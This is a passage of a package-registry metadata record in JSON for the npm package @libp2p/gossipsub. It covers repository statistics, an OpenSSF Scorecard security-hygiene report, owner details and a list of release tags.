{"id":12120564,"name":"@libp2p/gossipsub","ecosystem":"npm","description":"A typescript implementation of gossipsub","homepage":"https://github.com/libp2p/js-libp2p/tree/main/packages/gossipsub#readme","licenses":"Apache-2.0 OR MIT","normalized_licenses":["Apache-2.0","MIT"],"repository_url":"https://github.com/libp2p/js-libp2p","keywords_array":["libp2p","pubsub","gossip"],"namespace":"libp2p","versions_count":215,"first_release_published_at":"2025-09-23T19:40:42.238Z","latest_release_published_at":"2026-10-19T07:49:06.086Z","latest_release_number":"17.2.1","latest_published_release_number":"17.2.1","last_synced_at":"2026-10-28T09:21:38.243Z","created_at":"2025-09-20T06:45:13.355Z","updated_at":"2026-10-29T09:12:17.743Z","registry_url":"https://www.npmjs.com/package/@libp2p/gossipsub","install_command":"npm install @libp2p/gossipsub","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"17.2.1","next":"17.2.1-fab409544"},"contentPolicy":null},"repo_metadata":{"id":35330819,"uuid":"39592840","full_name":"libp2p/js-libp2p","owner":"libp2p","description":"A JavaScript Implementation of libp2p networking stack.","archived":false,"fork":false,"pushed_at":"2026-10-23T10:48:43.000Z","size":134582,"stargazers_count":2586,"open_issues_count":124,"forks_count":556,"subscribers_count":63,"default_branch":"main","last_synced_at":"2026-10-23T15:41:35.623Z","etag":null,"topics":["ipfs","js-ipfs","libp2p","networking-stack","p2p"],"latest_commit_sha":null,"homepage":"https://libp2p.github.io/js-libp2p/","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/libp2p.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":"funding.json","license":"LICENSE-APACHE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":"CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":"ROADMAP.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{}},"created_at":"2015-07-23T21:05:43.000Z","updated_at":"2026-10-20T15:05:04.000Z","dependencies_parsed_at":"2026-10-09T10:24:12.344Z","dependency_job_id":"9a82acc5-d254-412d-abf6-35ef4c5ceb1f","html_url":"https://github.com/libp2p/js-libp2p","commit_stats":{"total_commits":6297,"total_committers":210,"mean_commits":"29.985714285714284","dds":0.7819596633317453,"last_synced_commit":"7caee9f03c19e53a19b65d3b81cfaad025edff92"},"previous_names":["diasdavid/js-libp2p","diasdavid/node-libp2p"],"tags_count":4919,"template":false,"template_full_name":null,"purl":"pkg:github/libp2p/js-libp2p","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/libp2p","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/sbom","scorecard":{"id":340918,"data":{"date":"2025-08-11","repo":{"name":"github.com/libp2p/js-libp2p","commit":"aa770ab81b6ca2a86cc2d6df12a3176a292455bf"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":0,"reason":"Found 1/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 16 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/main.yml:258","Warn: no topLevel permission defined: .github/workflows/automerge.yml:1","Warn: no topLevel permission defined: .github/workflows/examples.yml:1","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Warn: no topLevel permission defined: .github/workflows/semantic-pull-request.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE-APACHE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE-APACHE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/automerge.yml:6: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/automerge.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/examples.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/examples.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/examples.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/examples.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/examples.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/examples.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/examples.yml:121: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/examples.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/examples.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/examples.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/examples.yml:125: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/examples.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/generated-pr.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/generated-pr.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:127: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:128: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:145: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:146: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:149: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:218: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:221: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:233: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:168: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:172: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:187: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:190: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:204: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:205: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:262: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:268: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:271: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:275: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:278: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:91: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:113: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/semantic-pull-request.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/semantic-pull-request.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/stale.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/libp2p/js-libp2p/stale.yml/main?enable=pin","Warn: containerImage not pinned by hash: interop/BrowserDockerfile:3","Warn: containerImage not pinned by hash: interop/Dockerfile:2: pin your Docker image by updating mcr.microsoft.com/playwright:v1.50.1 to mcr.microsoft.com/playwright:v1.50.1@sha256:ac7053180325ef75d31774c458d0bb9b55ac153ae1be3d104b80c6c1bb6a067c","Info:   0 out of  31 GitHub-owned GitHubAction dependencies pinned","Info:   8 out of  30 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T05:50:21.427Z","repository_id":35330819,"created_at":"2025-08-18T05:50:21.427Z","updated_at":"2025-08-18T05:50:21.427Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38488896,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-24T02:00:07.043Z","response_time":103,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"libp2p","name":"libp2p","uuid":"14838238","kind":"organization","description":"Modular peer-to-peer networking stack (used by IPFS and others)","email":"contact@libp2p.io","website":"https://libp2p.io","location":"Earth","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/14838238?v=4","repositories_count":276,"last_synced_at":"2026-10-24T02:46:42.387Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/libp2p","funding_links":[],"total_stars":29326,"followers":1360,"following":0,"created_at":"2022-11-02T16:29:47.870Z","updated_at":"2026-10-24T02:46:42.403Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/libp2p","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/libp2p/repositories"},"tags":[{"name":"yamux-v8.0.7","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/yamux-v8.0.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/yamux-v8.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@yamux-v8.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.7/manifests"},{"name":"webtransport-v6.0.44","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.44","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.44/manifests"},{"name":"websockets-v10.1.25","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.25/manifests"},{"name":"webrtc-v7.0.2","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v7.0.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v7.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v7.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v7.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v7.0.2/manifests"},{"name":"utils-v7.4.5","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.4.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.5/manifests"},{"name":"upnp-nat-v4.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.32/manifests"},{"name":"transport-interop-libp2p-main-v1.0.45","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.45","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.45/manifests"},{"name":"tls-v3.1.14","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.14/manifests"},{"name":"tcp-v11.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.32/manifests"},{"name":"prometheus-metrics-v5.0.33","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.33/manifests"},{"name":"pnet-v3.0.33","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.33/manifests"},{"name":"plaintext-v3.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.32/manifests"},{"name":"ping-v3.1.17","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.17","manifests_